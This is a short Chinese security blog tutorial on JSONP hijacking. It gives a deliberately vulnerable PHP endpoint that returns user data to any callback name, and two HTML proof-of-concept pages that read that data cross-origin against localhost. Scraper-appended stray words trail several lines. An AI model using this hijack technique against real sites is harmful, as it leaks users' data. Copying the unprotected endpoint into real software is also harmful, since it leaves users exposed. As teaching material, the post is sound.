0x01 Jsonp簡介javascript
Jsonp(JSON with Padding) 是 json 的一種"使用模式",能夠讓網頁從別的域名(網站)那獲取資料,即跨域讀取數據。php
爲何咱們從不一樣的域(網站)訪問數據須要一個特殊的技術(JSONP )呢?這是由於同源策略。html
同源策略,它是由Netscape提出的一個著名的安全策略,如今全部支持JavaScript 的瀏覽器都會使用這個策略。java
0x02 JSONP劫持漏洞實例jquery
getUser.phpjson
<?php header('Content-type: application/json'); $jsoncallback = htmlspecialchars($_REQUEST ['jsoncallback']);//獲取回調函數名 //json數據 //$json_data = '["id","user"]'; $json_data='({"id":"1","name":"Aaron"})'; echo $jsoncallback . "(" . $json_data . ")";//輸出jsonp格式的數據 ?>
Payload利用:跨域
客戶端實現 callbackFunction 函數瀏覽器
<!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>JSONP劫持測試</title> </head> <body> <script type="text/javascript"> function callbackFunction(result) { alert(result.name); } </script> <script type="text/javascript" src="http://127.0.0.1/test/getUser.php?jsoncallback=callbackFunction"></script> </body> </html>
jQuery 使用 JSONP安全
<!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>JSONP劫持測試</title> <script src="http://cdn.static.runoob.com/libs/jquery/1.8.3/jquery.js"></script> </head> <body> <div id="divCustomers"></div> <script type="text/javascript"> $.getJSON("http://127.0.0.1/test/getUser.php?jsoncallback=?", function(getUsers){ alert(getUsers.name); }); </script> </body> </html>
最後微信
歡迎關注我的微信公衆號:Bypass--,每週原創一篇技術乾貨。
參考資料:
JSONP 簡單教程 http://www.runoob.com/json/json-jsonp.html